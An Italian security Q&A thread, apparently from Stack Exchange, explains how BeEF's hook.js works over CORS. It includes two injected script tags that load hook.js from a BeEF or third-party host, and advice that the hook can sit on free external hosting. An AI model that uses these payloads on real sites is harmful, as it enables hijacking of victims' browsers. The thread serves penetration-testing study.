BeEF XSS - funzionamento interno

3

Sto studiando BeEf XSS perché penso che sia uno strumento molto interessante per un tester di penetrazione, ma ho un paio di dubbi a riguardo, in particolare quando lo collego alla richiesta di un dominio incrociato.

Quindi, in qualche modo, siamo in grado di forzare il browser dell'utente a includere il seguente tag hmtl:

<script src="http://X.X.X.1:3000/hook.js"></script>

Il browser non si lamenta perché l'attributo src può contenere qualsiasi dominio, non solo quello che l'utente sta navigando. Quindi, a quanto ho capito, hook.js non sta aprendo una porta sul client poiché non è supportato da JS, ma richiama comandi che eseguono un XMLHttpRequest dal server BeEF (che è hardcoded nel hook.js).

Quindi esegue i comandi nel browser e restituisce il risultato (ovviamente ci deve essere una sorta di protocollo interno che il server BeEF capisce). Il motivo per cui funziona è che il server BeEF imposta i seguenti elementi nell'intestazione HTTP:

HTTP/1.1 200 OK
Content-Type: text/javascript
Server: Apache/2.2.3 (CentOS)
Pragma: no-cache
Cache-Control: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
Content-Length: 412404
Connection: keep-alive

L'ho annusato quando ho provato tutto in locale, quindi fondamentalmente c'è la direttiva Access-Control-Allow-Origin con la quale il browser dell'utente consentirà questa comunicazione.

Il mio modo di pensare è corretto?

Inoltre, sai se hook.js può essere scaricato dal server A, ma poi punta al Server B? Altrimenti, in pratica stai mostrando l'indirizzo della macchina in cui è ospitato hook.js e devi anche avere accesso a quella macchina.

    
posta Edge7 18.04.2018 - 11:02
fonte

1 risposta

1

Sembra che tu stia descrivendo un attacco CORS (Cross-Origin Resource Sharing) in concomitanza con l'utilizzo del framework Beef. Ecco uno snippet di OWASP:

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

link

Non capisco bene la seconda domanda, ma presumo che tu voglia ospitare il file .js altrove. Ecco una panoramica di come va:

La vittima deve essere in grado di aprire il tuo sito e il browser vittima deve essere in grado di caricare il file .js. Questo file contiene payload dannosi che, caricati da un browser vittima, offrono vari gradi di controllo e violazioni della sicurezza. Il file può essere ospitato sul tuo server web oppure può essere ospitato esternamente su un altro server.

Ad esempio: <script src="http://someotherserviceorwebsite.com/hook.js"></script>

Non è necessario avere accesso a quella macchina - solo il file deve essere disponibile.

Esistono numerosi servizi gratuiti che puoi utilizzare per ospitare gratuitamente il tuo file JS.

Spero di aver capito correttamente la tua domanda.

    
risposta data 02.05.2018 - 01:07
fonte

Leggi altre domande sui tag